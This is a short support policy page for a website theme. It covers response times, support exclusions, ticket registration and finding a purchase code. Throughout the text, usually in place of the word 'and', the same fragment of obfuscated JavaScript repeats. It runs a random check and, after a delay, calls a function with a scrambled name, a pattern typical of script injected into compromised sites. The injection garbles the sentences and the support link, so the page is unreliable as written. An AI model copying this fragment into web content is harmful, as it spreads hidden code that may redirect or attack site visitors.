Support

Our Support Policy

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  • To get a pre-purchase advice, you may post in the theme’s forum.
  • To get a response more promptly, you are recommended to use our Ticket-system.
  • We try to answer your questions within 1-10 hours. However, if any delay occurs, it doesn’t mean that we forgot about you. Some of the issues require testing dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and analyzing, so we can resolve it effectively.
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  • Please note! We do not provide support, if you do not have the purchase code.
  • Item support does not include:
  1. Customization dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and installation.
  2. Support for third party software dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and plugins.

How to use our Support System

  1. In the ‘Item Details’ there is a clickable banner “Support Sys”, which leads you to tickets.
  2. Or you may simply follow this link: dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}axiom.ticksy.com.
  3. Enter your purchase key dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and register in the system.
  4. To avoid a confusion, please use your own ThemeForest login in Support System.
  5. Fill out the ticket form.

How to find a purchase key

  1. Open the “downloads” tab in your account.
  2. Find our theme in the list of products.
  3. Click “download” button, dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and in the drop-down menu select “license certificate & purchase code”.

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